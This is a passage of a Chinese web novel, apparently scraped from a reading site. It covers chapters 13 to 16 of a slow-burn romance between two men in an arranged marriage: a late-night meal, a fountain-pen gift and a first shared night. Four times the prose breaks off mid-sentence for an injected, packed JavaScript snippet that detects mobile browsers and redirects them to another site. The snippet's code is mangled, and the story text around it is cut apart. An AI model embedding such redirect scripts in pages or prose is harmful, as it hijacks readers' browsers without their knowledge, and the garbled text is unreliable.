对方脸上带着对大多数人都不一样的笑,那是更加真实可触的模样。 让人一时分不清,他此时的态度是因为在和妈妈打电话,还是因为要送礼物哄的那个人。 安抚完俞宜凌,林云序挂了电话,偏头看向身边的友人。 “麻烦等一下,我去里面买个东西。” 刚刚和俞宜凌聊天,林云序才知道他不在家的日子里,他爸妈还和季盏明吃过一次饭。 他突然就有点罪恶感了。 西里尔和他一起进入店里,一边问他:“我们也就两个多月没见,你就已经谈恋爱了?” 林云序正看着从货架上拿下来的一个小玩意,听到这话伸出左手,手背朝向对方动了动无名指。 事实上,青年骨节分明、白皙修长的手指上没有佩戴任何饰品,更没有戒指,干干净净的。 但这个动作的意味再明显不过,西里尔一时愣了下。 林云序将东西重新放回到货架上,偏头朝他笑了下:“结婚了。” 西里尔轻轻“啧”了一声,装作惋惜:“完蛋,没有机会了。” “是啊,何况什么时候有过机会了?” 林云序缓缓顺着货架行走,从善如流地回答。 “我们可是认识8年了,这么无情?” “是啊,8年,你那套对着约会对象的作风再拿着对我,可就只能认识8年了。” 青年说话的语气带着一如既往的温和,听着似乎并不带恼意,但也是不以为意。 西里尔举手投降:“错了错了,恭喜你总行吧。” “所以你这次回总部调整工作方向,也是因为结婚了?” 林云序确实有意调整,未来他的工作内容可能逐步偏向管理层。 虽然以后出差还是会比较多,但比以前频繁去现场的情况应该会好很多。 从高中起他就在国外读书,之后连带着工作也多年在外。 其实没什么特别原因,也没什么不可改变人生理想道路,纯粹是因为清净。 没有那么多人认识他,也就不会被频繁地打扰。 但现在情况比那些年好了很多,人生短短这些天,细数下来,能陪家人的时间实在短暂。 所以他想尽力两全些。 但这些都没有必要对外人言,他随口应付道:“差不多。” 如同说好的那般,3天后林云序踏上了回国的飞机。 抵达北市机场的时候,已经是凌晨一点,十个多小时的飞机让他疲惫不已,他直接找了一个代驾。 他闭着眼睛坐在后面休息,察觉到车子的速度实在有些慢,不由得睁开眼睛看向代驾。 代驾透过后视镜对上他的视线,不由得有些赧然:“不好意思啊,我还是第一次开这种车,真不敢开快了,怕磕碰到。” “没事,开快点,磕碰到了算我……” 话说到一半,林云序陡然想了起来。 哦,这车不是他的。 哦,他好像结婚了。 脑子累麻木了,在上车的时候居然都还没反应过来。 他有些无奈地一边拿出手机一边开口:“你正常速度开就好,我改个目的地。” 最终地址由他的私人公寓变到繁千园。 代驾是个年轻人,过了那股害怕劲,开豪车的兴奋感也渐渐涌了上来。 看林云序气质温和好说话,开始不停不歇地闲侃起来。 林云序倚着后座,目光淡淡地看着窗外掠过的风景,只觉得脑子嗡嗡地疼。 对方噼里啪啦的话语在脑子里不受控制的自动翻译成各种语言,一边高速运转进行着信息处理和分析,多种语言在打架。 在他疲惫的时候,那些声音混作一团,只觉得更累了。 “你好,我需要休息。” 青年的声音像是很轻的一阵风,却具有凝聚着穿透身体的力量,让人一下子就清醒了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16949056|193042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 代驾瞬间止了声:“您睡您睡。” 林云序没再说话,这个点就算是繁华的北市也安静了些,车辆一路畅通无阻。 到达繁千园的时候是40分钟后。 林云序进入屋子,玄关处的智能灯光随声亮起。 他推开房间的门,虽然是陌生的地方,但熟悉感首先随着传递出的气味蔓延全身。 浅淡好闻的气息让他瞬间就放松了下来,随着灯被打开,整个符合他喜好的房间也展现在眼前。 他惫懒地脱掉外套扯下领带,正要解开衬衫扣子的时候,下意识透过隔着的推拉门看向另一边的套房。 虽然双主卧之间是推拉门,但以季盏明的教养和性子,那扇门大概是不会打开的。 就算有事要来找他也是会从正门,而不是将两个房间的边界模糊。 所以那扇门几乎等同于墙,林云序笑了下,收回视线。 不知道是不是快要入夏,连日来夜里劲风频起,像是要下大雨的趋势。 似乎是因为窗户留了一条小缝,大风挤进来穿堂而过时发出音调尖锐的嗡鸣。 季盏明被这扰人的动静闹醒,他下床去关窗户。 在准备将窗帘拉紧的时候,手蓦地顿了下。 透过明净的落地窗,他看见前院的地面停车场上停着一辆熟悉的车。 他下意识看了眼将整个大主卧一分为二的那道门。 这间房子的另一个主人回来了。 想了想,他还是转身朝着卧室外走去,隐约听到下面窸窸窣窣的动静,季盏明直接下了楼。 整栋房子的光线昏暗,只有开放式厨房开着门的冰箱散发出荧荧的冷光。 季盏明没有看见人,直到循着声音和唯一的光源绕过岛台,才发现了蹲在冰箱前的林云序。 青年刚洗漱完,松松垮垮地套着一件墨绿色丝绸睡袍,身形清瘦。 湿漉漉地头发尽数捋到脑后,带着水汽的发丝愈发显得色彩浓重。 对方随意地半跪着,一只膝盖微微触地,承托支撑身体的力,另一边的腿曲着。 强坠感的浴袍边缘也就顺着位置更高的腿向两边柔软垂下,大腿几乎从尽头处全数luo露了出来。 冷感的冰箱灯光笼罩在人身上,白得晃眼。 他正垂着颈,满身的疲惫慵懒,累得手都有些抬不起来,在冰箱里翻找食物的动作缓慢又滞涩。 季盏明走到他的身侧,轻轻敲了敲冰箱门:“别找了,家里只有食材,没有能直接吃的食物。” 青年听到声音,下意识抬头望来。 修长的颈仰起,冰箱的光源随着他的动作流转,在脸上和凹陷的锁骨里明暗变换,最后在他漆黑的眼底聚成一个冷色的光点。 像是在深夜里来吸人精气的。 14.第 14 章 决定一个人对另一个人的印象,大多是源于整体,而非局部。 如果单看脸,林云序并不是那种清纯的淡颜长相。 相反,骨相妙绝,皮相瑰丽,他有一种敞亮大气的美。 但这种就算放上大荧幕都能拥有极强可塑性类型的面孔,那种冲击一定是恰到好处的。 不会喧宾夺主,让人仅仅因为一张面皮就对这个人彻底定性。 那么传达出什么样的气场和内核,就决定了他想要给人什么样的感觉。 林云序显然就是用气质压过面容的人。 他的衣着总是简洁大方,带着气定神闲的游刃有余,是一种稳定的温和。 墨纸味的书香气息从他的骨子里蔓延,芝兰玉树,又满身清贵。 就像是收藏级的端砚,石品花纹奇妙绝伦,不仅贵,且难求。 大众对他的印象也往往如此。 现在大概是他少有衣衫不整的时刻,大片冷白的肌肤带着水汽露在空气中,连浴袍的丝绸光泽都暗了几分。 松懈之下,那些矜持干净、不可冒犯的气质弱势了下来。 于是懒散颓靡的气场带领着那张脸占据高地,引人绮思。 但也只是短暂片刻,在发现周围有人的瞬间,他就已经迅速收起了那些疲惫的真实情绪,戴上社交面具,立马起身。 季盏明眼疾手快地关上了横在对方头顶的冰箱门,另一只手扶了把身形晃了晃的林云序。 起身起得太急,林云序只觉得头晕,他饿得心也开始发慌。 林云序身上有些卸力,随即察觉到握住自己胳膊的手紧了些,另一边肩膀被扶住。 睡袍的布料顺滑轻薄,任何触感和温度都无从遁形地顺着对方的掌心传递过来,存在感明显。 头都还晕着,他仍下意识地偏头扫了眼自己的肩。 林云序被扶到岛台边的高脚凳上坐下,还没来得及反应过来,嘴里就被喂了一勺枫糖浆。 甜腻的味道一下子从他的喉管齁到了天灵盖,林云序直接表情管理失败,蹙眉仰头看向季盏明。 只是看上去再美再可怜的脸似乎都引起不了人的波动。 季盏明平静到几乎不近人情:“咽下去。” “……”林云序知道自己大概是有些低血糖了,他忍着甜将那勺糖生生吞了下去。 刚咽下去,一杯温水就送到了他面前的岛台上。 林云序抬头看向季盏明。 他本来就是很轻的低血糖早期症状,不影响说话。 喝完一杯水口里的甜腻消散了些后,他温温柔柔道:“其实可以冲一杯糖水的,季先生一定是考虑到干吃一勺糖浆的效果或许会更好,真是有心了。” 因为气力还不足,声音很轻,连阴阳的话听起来都像是情人密语。 季盏明一边喝着水,一边从冰箱里拿出食材。 “嗯,不用谢。” 林云序:“……” 他正要说话,季盏明已经拿着菜走了过来:“唇角有糖。” 林云序立马闭嘴,抽了一张纸仔仔细细地擦拭。 季盏明低头准备食材,林云序这人讲究,或许可以接受没有那么规整,但嘴边残留食物这种是绝对不能容忍的。 至于枫糖浆……他其实没有故意,原本也准备泡糖水的。 之所以没这么做,没有什么复杂原因,纯粹当时注意力没集中,忘了去泡水。 补充了一些糖分后,林云序坐着休息缓一会儿神,他抬头看了看面前的男人。 说实话,回家后的情况有些在林云序的意料之外。 虽然在之前他们有过小小的交锋和互相试探,但分开了近20天,也不是多么熟稔的人,本来就客气的关系大概还得后退几个程度。 又都是不怎么热络的性子,还得初次适应双方的新身份,他们对彼此很可能会愈发冷淡礼貌。 但林云序没想到这么晚了还会碰见对方,更是因为一场低血糖无声消弭了些许生疏。 他感叹时机的奇妙,随意看向台面,看到对方拿出的食材后,不由得愣了下。 他其实有很多不吃的东西,很挑嘴。 他刚刚翻过冰箱,知道里面有哪些东西,而里面的食材几乎70%他都不吃。 他原本以为季盏明是随便拿了些食物,可现在一看,这些食材大多在他能吃的30%里。 甚至葱都被系成了结,方便他后续挑出来。 林云序是不排斥葱味的,他只是不喜欢调味料零碎的口感。 “你怎么知道我喜欢吃什么?” “准确来说,是知道你不喜欢吃什么,我们一起吃过几顿饭,而且你出差的时候我和叔叔阿姨见过面。” 林云序这才想起来,他爸妈约季盏明吃过饭。 “你见面也是叫的叔叔阿姨?” 季盏明慢条斯理道:“然后被他们纠正了。” 林云序笑了出来:“所以我爸妈说了什么?” 季盏明与俞宜凌林章之间最大的联系不外乎面前这个人,还能说什么? “他们说,我和你未来会一起吃很多顿饭,每顿饭吃得满足会是最简单悠久的幸福。” 说到这里,季盏明的手顿了下。 印象中他幼年时,丘沁和季志峰的关系并不好,夫妻俩一吵起来就无休无止。 他和父母少有见面的时候大多都在餐桌上,而一家三口在饭桌上的气氛总是很压抑。 充斥着各种阴阳怪气、针锋相对,记事以来,幼时好像就没有和他们一起好好吃过一顿饭,更不谈幸福感。 季盏明继续道:“所以聊了些你的习惯。” 林云序还没彻底从低血糖中恢复过来,一时没能察觉到对方的停顿,问道:“比如?” “比如能接受姜味,但不喜欢姜的口感,所以要切大块点,方便你挑出来,你家里以前都是研磨成姜汁。” “口味上也不是因为受伤才被迫只能吃得清淡,你小时候在外公外婆那边生活比较多,他们是医生,所以你也一直偏好鲜味和更健康的饮食。” “不吃辣,不要重油重盐,浓油赤酱容易腻,重味的食材也不喜欢,比如韭菜。” 男人的声音虽然称不上温和,但不疾不徐地讲述时显得很有耐心。 林云序带着笑意静静地听着,看着对方拿刀沿着鸡肉脂肪更少的地方利落将鸡皮划了下来。 ——他不吃任何动物的皮。 那天和俞宜凌和林章吃饭,听他们说完后,季盏明还以为两位长辈会说“这孩子要求有些多”、“麻烦你以后多担待一下”之类的话。 毕竟这才是大多数人的常态,就算维护自家孩子,也会客套一下。 但没有。 俞宜凌说完后甚至是自豪的:“你看,这孩子从小就这么有主见,喜好也明确,不会为了跟随大众而忽视自己。” 他们觉得这些是优点,不是需要担待的事。 季盏明难得的感到有些心软。 几分钟过去,林云序身上因低血糖不舒服的感觉已经尽数消退。 他开始不急不缓地整理着松垮的浴袍,重新系了系腰带让自己显得正经些。 他笑着补充道:“虽然我不吃的很多,但对能吃的反而没什么要求。” 满足了他的需求后,等会儿就算季盏明的厨艺不怎么样,他也能好好吃完。 林云序对食物的欲望并不强烈,不在乎精不精致、味道是否顶级。 只要不到难以下咽的地步,营养均衡、能吃就行。 而这么多要求又不会一次性暴露,所以外面的大多数人反而觉得他为人随和、很好服务。 “所以如果这样都有人觉得我在饮食上很难取悦,那一定是对方的问题。” 季盏明把姜去皮、研磨出汁,神色淡淡不置可否,这是想取悦他的人的课题,与他无关。 林云序想了想:“但你好像什么都能吃,没有特别要求,只是格外喜欢八宝葫芦鸭。” 季盏明有些意外地抬眸看了他一眼。 林云序缓缓眨了一下眼睛:“毕竟也是一起吃过几顿饭了,而且上次去你家的时候,季爷爷说了不少,他说你从小就喜欢吃这个。” 那天的餐桌上就有一道八宝葫芦鸭,是丘沁和季志峰夫妻俩一起亲手做的。 这是一道非常难做的菜,不能破坏鸭皮,得完整地将骨架取出来,再将各种馅料塞进肚子里。 耗时长,也很需要技巧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16952583|193042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 那天季盏明也确实吃八宝葫芦鸭比较多。 林云序笑着道:“不愧是季公子。”说完后他想了想,“谢谢你陪我爸妈了,我会找个时间去看季爷爷,我给他带了礼物。” “人去他就会很开心了。” “不是应付,我挺喜欢老爷子的,单纯想送。” 青年的声音在夜色里显得愈发温和,甚至显得有些柔软缱绻。 季盏明抬头看了眼林云序,对方单边手肘撑在台面上,支着下巴,姿势松弛。 但多年的好教养让他就算是随意的模样,仪态看上去也是优雅从容的。 漆黑的发梢还带着水汽,有水珠顺着滚落滴在浴袍上,将衣服洇湿成更深的颜色。 季盏明平静道:“既然现在头不晕了,就先去吹头发换衣服。” 林云序很轻地挑了一下眉:“换衣服?我睡觉就穿这个,有哪里不合适吗?” “那就先去吹头发。” 林云序笑了出来,从高脚凳上下来,圾着拖鞋上了楼。 季盏明将简餐做好的时候,林云序正好整理完下来。 季盏明看了他一眼,头发已经变得干燥,说是那么说,但还是换了一套月光色的套装睡衣,看起来规整了许多。 人也仿佛变成了白日里在外面时给人的感觉。 林云序在餐桌前坐了下来,这是简单的一人食,主食、蔬菜、蛋白肉类营养均衡。 而且分量不多,对这个时间点来说正好。 林云序尝了一口,味道居然远出乎他意料的好。 “你厨艺很好。” 季盏明解释道:“毕竟是在国外读的书。” 哦对,林云序记得季爷爷说过,对方15岁出国念书,其实情况和他有些像。 肚子倒是可以不用挨饿了,林云序看着正简单收拾岛台的季盏明,突然思考起一个问题。 ——他今晚该怎么睡? 当初说好,他的房间是备用房间,当做自己的私人空间,两人没打算分房睡的。 如果季盏明没有醒,他还能以深夜归家不便打扰他为由,顺势睡到自己房间。 可现在两人不仅碰见了,对方还为他做了一顿饭。 但之前商量的时候是一回事,真正要执行的时候又是另一回事了。 季盏明……怎么想? 林云序想了一下,干脆在心里立了一个规则。 如果季盏明现在走过来坐到他面前,陪他吃完这顿饭,今晚就一起睡。 如果对方收拾完略过他直接上楼睡觉,他就回自己房间。 正这样想着,季盏明已经整理完,绕过岛台走了出来。 离餐桌越来越近,越来越近,然后…… 经过他,路过餐桌直接离开。 林云序:“……” 服了。 林云序扬了扬眉尾,拿着勺子一时没有动作。 正在思考是不是自己哪里理解岔了时候,身后响起男人的声音: “怎么不吃,饱了?” 林云序有些意外地回头望去,就见男人拿着笔电从客厅走过来。 然后坐在了他的对面,打开电脑开始工作。 林云序轻笑了声:“你真是……” 季盏明看向他,用眼神询问。 林云序摇了摇头,将搁在一旁凳子上的礼盒递给他:“礼物。” “为什么要带礼物?”季盏明有点意外。 “我在国外的时候,我妈给我打了电话。” 季盏明立马意会了过来,点了点头。 “打开看看。” 季盏明原本没打算现在看,既然对方这么说,他也就不再推辞,伸手打开了盒子,他不由得愣了下。 ——一支钢笔。 林云序的礼物,是一支钢笔。 林云序看着男人拿出那只赋有光泽感的钢笔,漆黑的笔身穿在骨节分明的指间,与冷白的皮肤形成格外鲜明的对比。 手指轻动了一下,钢笔也就随着手指起伏一下。 看着对方的反应,林云序正要开口询问怎么样的时候,就见男人抬眸对上了他的视线,然后慢条斯理地开口: “今晚我们一起睡。” 15.第 15 章 林云序一下子猝不及防。 虽然他原本也是如此打算,但现在钢笔聊得好好的,话题怎么一下子就跳跃到这个上面了? 而且说得如此淡然平静,像是不觉得有什么,理所当然的。 林云序顿在半空的勺子继续动作,喂了自己一口食物,然后若无其事、同样淡然平静地“嗯”了一声。 那他也理直气壮好了。 空气安静了下来,林云序的用餐习惯很好,进食以及摆弄餐具都不会发出声音。 见对方将钢笔重新放回到礼盒里,林云序问道:“怎么不问我为什么送你这个?” 季盏明知道答案:“我在你那里折过一只钢笔。” 林云序笑了下:“就是给我捡项链那次,正好我这次也在F国出差,在想送什么比较好的时候突然就想到了那只钢笔。” “三年前我离开的时候,把你的那只钢笔转交给了酒店的工作人员。” 季盏明点了点头,想也知道青年不会将一个陌生人的东西保存三年。 他缓缓开口:“我回国的时候就没用那边的电话卡了,这些年倒是也去F国出差过一次,但住的不是那家酒店。” 酒店工作人员联系不上他很正常,再加上过去了这么久,或许早就寻不回来了。 不过季盏明不是很在意,否则当初也不会那么随意的把钢笔当做一个固定项链的“夹子”给了出去。 林云序自然看出对方的态度,当初那支钢笔他管不着,但面前的这支…… 林云序带着笑意隔空点了点桌面上的钢笔礼盒:“如果没有特殊情况,同样的礼物我是不会送第二次的。” 季盏明微不可察地挑了一下眉,从善如流:“我会好好保存。” 林云序满意地点点头。 考虑到时间已经不早,等会儿就要睡觉,盘子里的餐食分量不多。 很好地安抚了他胃的同时,又不会让人撑到。 林云序吃完后,起身将餐具收拾到洗碗机里。 季盏明看着他的动作,对方的饮食习惯其实还真的挺简单,雷点虽多,但很明确,只要避开那些,好似吃什么都行。 有点像他的为人,大概只要不踩中红线把人真的惹怒,大多时候都是温温柔柔的,很好说话,起码看上去是这样。 林云序抽了张厨房用纸简单擦了下台面,扔进垃圾桶,然后看向正在工作的男人: “你还要忙吗?” 听到声音,季盏明合上电脑,拿起礼盒起身朝他走去:“不早了,上去吧。” 回到房间,林云序重新刷牙洗脸,等整理好出去的时候,季盏明正好要用卫生间。 两人擦肩而过,季盏明进去,在盥洗台前洗了个手。 他偏头看了眼,身边的另一个洗手池还残留着未干的水迹,镜面上被溅上了一些水珠,那是另一个人使用过的痕迹。 卫生间里的换风系统很好,可还是不可避免的淡淡氤氲着对方洗漱后的气息。 他不由得想到对方身上的那件墨绿色浴袍,那个颜色很适合他。 季盏明回到卧室的时候,林云序已经躺了下来闭上了眼睛。 对方姿势松弛地侧躺着,听到动静后,低声道:“上床关灯。” 刚刚下面吃饭的时候,看人状态还行,季盏明还以为对方是因为低血糖才显得恹恹的,吃了食物后就缓了过来。 但现在接触到了床面,对方整个人松懈下来。 像个满是漏洞的气球,疲惫感从他身体的四面八方倾泻出来。 季盏明突然意识到,他累到一定程度了。 只是在有人的时候会掩藏起来,不会将负面的状态向外展露。 于是看着对方睡的是他之前睡的位置,也没再说什么,走到另一边关灯躺了下来。 林云序确实有些顶不住了,工作调整不是他一个人的事,这个月来他忙得厉害。 在飞机上都在出方案,算下来大概已经二十多个小时没能好好合眼休息了。 而且虽然理智上知道这是他家,但潜意识里还没能完全适应,家里还有另一个人,干什么都没有那么随心所欲。 面对外人,他还是不能完全放下戒心。 虽然会开开玩笑,但都在他的分寸里和言行举止的边界内,就像思忖过后还是决定换掉的浴袍。 床榻另一边下压,被角被掀开,身侧有人躺了下来。 带着独属于这个人身上的气息和热度,仿佛一瞬间就包裹了过来。 明明被子里也同样是对方的气息,他当时刚躺下来时都没想太多,但人一过来,感觉完全不一样了。 床这么大,两人能够互不干扰,但这一瞬间,林云序突然觉得季盏明的存在感特别强。 他本来已经困到了极致,现在却立刻清醒了过来。 屋子的隔音很好,于是外面的风声、枝叶簌簌声被彻底隔绝,听不到半点声响。 显得室内愈发寂静,翻动身体带动被子的动静都格外清晰。 没人说话,但他们都知道彼此没睡,又偏偏都表现得无比平静淡然,好似是早已同床共枕多年的习惯那般。 不知道为什么,林云序突然轻笑了声。 他温煦的声音在一片寂静的卧室里无比明显,季盏明偏头看了他一眼。 林云序也就没有再装睡,温声开口道:“想到了一件事,如果以后我爸妈还约你吃饭或者有别的事,你可以拒绝。” “你工作忙,他们也知道你工作忙,会理解的。” “如果我确实忙,我会明确告知他们。” 当初两人商谈婚姻详情的时候,就提过因为林云序常在国外,他父母找他会比他爷爷找对方的情况更频繁。 但这种事真发生时,林云序反而觉得有些理亏。 察觉到这一点,季盏明继续道:“和叔叔阿姨相处其实很有意思。” “哦?你们还干了什么有趣的事?” 虽然刚刚在楼下季盏明和林云序说,与他的父母聊了很多有关于他的话题,但实际上并没有那么多。 俞宜凌和林章的教养不会在约人出来吃饭时,从头到尾只提及一个不在场的人。 事实上,夫妻俩都是博闻强识、有趣的人。 说完林云序的一些小喜好后,后面大部分都是在聊别的东西。 能从天南地北侃到小道八卦,很接地气,也没把他当外人。 “叔叔说了一些他早期还是刑事律师时的案子,在饭桌上显得稍有血腥,被阿姨制裁了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16960092|193042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 林云序笑得肩抖了下。 “阿姨说因为全家上下基本都在从医,所以家里从小也这么培养她,结果她踏上了一条八竿子打不着的路,但基本功还在,然后……给我把了个脉。” 林云序解释道:“我外婆是中医。” 说着,他从被子里伸出了胳膊:“把你的手给我,说起来我也学过,我也来看看,你听听我和我妈说的是不是一样的。” 季盏明安静了两秒,最终还是把手给了他。 林云序一只手固定住他的手掌,另一只手搭上脉搏。 他笑着开口道:“我基本功其实也不错,虽然没从医也没从法,但从小耳濡目染,被长辈们教过一点。” “我参与的会议很多都是医学和法律类,也不算完全埋没了小时候学的东西。” 季盏明静静地听着,像这种专业性极强的领域,在翻译界的难度也是顶级的。 何况对方也只是因为家庭背景稍有了解,不是专业从事人员。 也难怪对方工作完后会那么累,毕竟极耗脑力。 林云序仔细感受了一下,又让他换了一只手:“脉搏和缓有力,气血充足,脾胃肝和精气神都挺好。”他调侃道,“季总,工作强度这么大还能有这样的身体素质可不容易。” 这样一说,他突然想起,这人好像不抽烟也不喝酒,生活方式很健康。 手指轻轻动了下,搭着的最上侧手指在更深的脉位处下压,比之前稍稍用力了些。 脉搏清晰有力,带着坚实的稳定节奏。 林云序松开手:“非常健康,我和我妈说的是不是差不多?” “最后一根手指的脉象是看什么?” 季盏明的记忆很好,俞宜凌两指搭腕,没有林云序最后那个动作。 而林云序是三指搭腕,最后一只手指明显起了作用,不是随意搭着。 林云序指尖轻轻点了点对方手腕上相应的地方,声音不急不缓:“哦,是尺脉,看肾气。” 季盏明:“……” 林云序忍着笑,俞宜凌不是专业的医生,又顾忌着长辈的分寸感,自然只意思意思,单看看心脏之类的。 但他又没什么顾忌,合法的,看看怎么了? 空气一时安静了下来,林云序突然意识到一件事。 他想岔了,他们是在有选择的情况下,仍躺在了一张床上。 他们的本意就没想在这个上面客客气气。 那么他们在床上,是没有分寸感和边界感可言的。 只有熟悉与陌生。 陌生的温度、陌生的气息、陌生的触感、陌生的声音…… 离得越远,两者之间的界线就愈发明显,时时刻刻提醒着身边有个不熟悉的人,让人心生戒备。 林云序难以在这样的环境下舒适入眠。 他蓦地开口道:“季盏明,离我近些。” 那就让温度传递至统一,让气息交融,让触感声音变成习以为常。 窗帘半敞,如银月色透过落地窗倾泻进来,季盏明清楚地看见青年的面孔。 对方神色温和,还未彻底离开的手指在尺脉上如风拂过,声音轻轻的,问他: “你难道不想熟悉一下我的身体吗?” 16.第 16 章 林云序突然很想知道季盏明的表情,看看他现在是个什么反应。 他怎么会不知道这句话的暧昧? 可那能怎么办,解释权归他所有。 这人要是有进一步深入的举动,林云序就会佯装惊讶无辜,反问一句:“你干嘛?” 他说是对方想多了,只是字面意义上的靠近和肢体熟悉,那就只能是字面上的。 他现在累都累死了,哪还有心思想别的东西。 可惜季盏明朝他侧着身子,背对月色,面容都隐在阴影里,无法窥清楚。 对方似乎并没有被他故意的小把戏欺骗到,甚至是被引诱到的苗头都没有。 当真定力十足,毫无半分旖旎遐想,很符合他给大众的印象,正经肃然。 说实话,在林云序的意料之内,这个人本就如此。 可真在意料之内,林云序又想问一句,不是,他们俩到底是谁有问题啊?! 他甚至开始在想,肾气足有什么用,他不用啊。 面对如此强自控力且清心寡欲的人,林云序突然庆幸自己不是个重欲的人。 毕竟这么多年一个人,也没见有多渴求,要不然以后不和谐怎么办? 只是现下,那些微妙的情绪和想法半分不会显现在面上,更不至于恼羞成怒。 他们之间本就没有感情,也是他先起的逗弄心思,那就坦荡地接受可能失败或者被反击的后果。 林云序一边想着怎么让这一茬体面丝滑地掠过,一边缓缓收回手。 就在手指悬空离开对方掌腕的瞬间,手腕突然被男人的大掌紧紧攥住。 林云序还没反应过来,整个人就被勾着腰拖了过去。 两人之间的距离急遽骤减,直至身体相触,他们感受到对方的温度和气息,甚至能看到彼此漆黑的瞳孔为止。 还近一寸,他们就能碰到对方的鼻尖。 林云序错愕:“你……” 一句话还没说完,剩下的字就卡在了嗓子里。 男人已经偏开头,雷声大大雨点小小的握着他的手腕,缓缓将他卷起的袖口放下、抚平,然后把他的胳膊放进了被子里。 最后,手隔着被子很轻地拍了拍他的背。 “睡吧。” 对方的声音低沉悦耳,在静谧的夜色里竟罕见地显得有几分温和。 林云序蓦地哑了声,整个人都安静下来。 虽然他没想现在就干什么,但觉得离得近些、让彼此快速熟悉起来会更好是真的。 季盏明的手没直接触摸到他,但被子下面的距离早已能做到感知彼此的温度以及气息交融。 “最后一句话。”林云序的声音轻轻响起,“你身体的温度一直都这么高吗?” “嗯。”季盏明平静道,“你说离近点,这个距离会热吗?” 林云序闭着眼睛缓缓摇了摇头,那些初躺在一张床上的不习惯渐渐消退。 他们不再泾渭分明,边界变得模糊,于是也欺骗了大脑陌生感的存在。 对方好像并不过度追求精致和所谓的腔调,身上只有最简单的洗护产品气息,干净又清新,其实很好闻。 室内彻底安静下来,只有加湿器轻微的水汽声。 没过多久,人的呼吸也趋于平稳均匀。 季盏明垂眸看了一眼,青年已经睡着,微微垂着脑袋,前额抵在他的肩头。 这人看似温柔好脾气,实际上带有一种寻常人难以察觉的软强势,以致现在看起来倒是难得真实的乖顺。 对方太累了,刚刚只是因为不熟悉的人躺在身边升起的提防感吊着神经,让他清醒。 但身体早已疲惫至极,一旦弦松了下来就能立马睡着。 他扭头看向天花板,但他睡不着了。 躁不过。 林云序不算睡眠很沉的人,常年四处出差以及工作忙碌,导致他没有固定的生物钟和稳定的作息。 常常就是累了就睡,醒了就计划接下来的时间该做什么。 床榻浮动、身边的热源离开的时候,他的身子就动了动。 还未完全清醒过来,就感觉到被子被重新掖了下,将他柔和地包裹住。 极轻的声音低低响起:“继续睡吧。” 于是林云序重新闭上眼睛,脸往被子里埋了埋。 昨晚季盏明缓了半天,睡得比较晚,但他早上要去公司。 而在去公司之前,运动、吃早餐,了解今日世界最新资讯,一切都会有条不紊的进行。 他的生活规律,每天都会自动在六点多醒来。 今天也如往常那般,在太阳初升之际睁开眼睛。 猝不及防的,一张在光亮下没有任何瑕疵的脸展现在眼前,近在咫尺。 他和林云序共枕在一个枕头上。 对方睡觉的习惯很好,安静、规矩,睡前是什么模样,现在就是什么模样。 倒是他的胳膊现在搭在对方的腰上。 或许是睡觉的时候衣摆被被子蹭了上去,肌肤相接,手臂下的触感直接是温热的皮肤,细腻光滑。 季盏明:“……” 他面无表情地挪开手臂,起床准备去洗漱。 只是没想到身边的人睡眠这么浅,他稍有动作,身边的人好似就要醒了过来。 轻声让人继续睡后,见人不再有动静,他才重新动作。 将半敞的窗帘拉上,然后去衣帽间换衣服,开启他新的一天。 室内的光线一片黑暗,林云序彻底醒来的时候还以为自己没有睡多久。 伸手碰了碰身边,早已没有了热源。 他缓缓睁开了眼睛将智能窗帘打开,一线阳光逐渐延伸扩展,直至收获一整面落地窗的明亮。 觉睡足了,人的心情也就更好了些,他躺在床上看了会儿天花板。 尽管身下并不是他常用品牌的床垫和床品,但这些只是偏好,并不会严重影响他的睡眠。 否则出差那么多,每次住酒店都会很痛苦的。 林云序很少有犯懒的时候,人彻底清醒了过来就立马下了床,去洗漱换衣服。 下楼听到动静的时候他还有些意外,他以为季盏明已经离开去工作了。 转了个弯,就看见了正在厨房里做早餐的阿姨。 阿姨听见声音后,扭头看了眼,随即温和笑道:“林先生,您好,我姓赵,今天过来打扫卫生的。” 大概是季盏明介绍过自己,林云序朝着人笑了下:“你好。” 在自己住的房子里,他和季盏明都不喜欢有外人同住。 所以房子的卫生是每三天会有人过来简单收拾一次,一周进行一次全面仔细的打扫。 林云序在家不多,这些好像是季 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 